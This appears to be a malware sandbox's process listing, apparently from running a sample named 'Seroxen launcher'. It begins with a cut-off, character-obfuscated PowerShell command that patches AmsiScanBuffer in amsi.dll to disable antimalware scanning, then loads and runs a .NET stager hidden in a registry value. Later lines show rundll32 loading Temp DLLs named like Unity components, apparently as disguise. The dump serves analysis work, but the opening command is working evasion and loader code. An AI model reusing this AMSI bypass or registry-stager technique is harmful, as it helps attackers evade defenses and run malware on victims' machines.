@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$igseMAFZlNZ=$ZfFuTFchQNNoJ.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+'n'+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+'r'+'n'+''+[Char](101)+'l'+'3'+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+'l')));$VciKXKtgOxQtZg=$QpwsHMkdZrLTIs.Invoke($Null,@([Object]$igseMAFZlNZ,[Object](''+'L'+'oad'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$krGJXTuMZfDymfpgn=$QpwsHMkdZrLTIs.Invoke($Null,@([Object]$igseMAFZlNZ,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$gOiRzXO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VciKXKtgOxQtZg,$yGOOeXGUDlEwgdGSMlr).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+'d'+''+'l'+''+[Char](108)+'');$dQMVAdQcLnDGighQT=$QpwsHMkdZrLTIs.Invoke($Null,@([Object]$gOiRzXO,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+'a'+[Char](110)+''+'B'+''+'u'+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$UfWxiQHhmP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($krGJXTuMZfDymfpgn,$VxatSEigbxRqECqiwiruTE).Invoke($dQMVAdQcLnDGighQT,[uint32]8,4,[ref]$UfWxiQHhmP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dQMVAdQcLnDGighQT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($krGJXTuMZfDymfpgn,$VxatSEigbxRqECqiwiruTE).Invoke($dQMVAdQcLnDGighQT,[uint32]8,0x20,[ref]$UfWxiQHhmP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+'A'+'R'+'E').GetValue('$'+[Char](55)+'7'+[Char](115)+''+'t'+'a'+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{d1d17d4f-8797-40b0-aacf-cdbbaffcd32e}

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb1f213cb8,0x7ffb1f213cc8,0x7ffb1f213cd8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1940 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2340 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3376 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3740 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,17557232100365724480,948395069096287308,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2524 /prefetch:2

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k WerSvcGroup

C:\Windows\system32\werfault.exe

werfault.exe /h /shared Global\3e390b56d5cb4efda25bdf6519d151d4 /t 3724 /p 1756

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://temp/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb1f213cb8,0x7ffb1f213cc8,0x7ffb1f213cd8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,5209954846403189519,9422868320451431150,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1940 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,5209954846403189519,9422868320451431150,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,5209954846403189519,9422868320451431150,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,5209954846403189519,9422868320451431150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,5209954846403189519,9422868320451431150,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\Seroxen launcher v3.1.2.exe

"C:\Users\Admin\AppData\Local\Temp\Seroxen launcher v3.1.2.exe"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AudioModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.ContentLoadModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.ProBuilder.Poly2Tri.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.HotReloadModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.GIModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.GridModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Siticone.Desktop.UI.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.Burst.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.ProBuilder.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.ClothModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.DSPGraphModule.dll,#1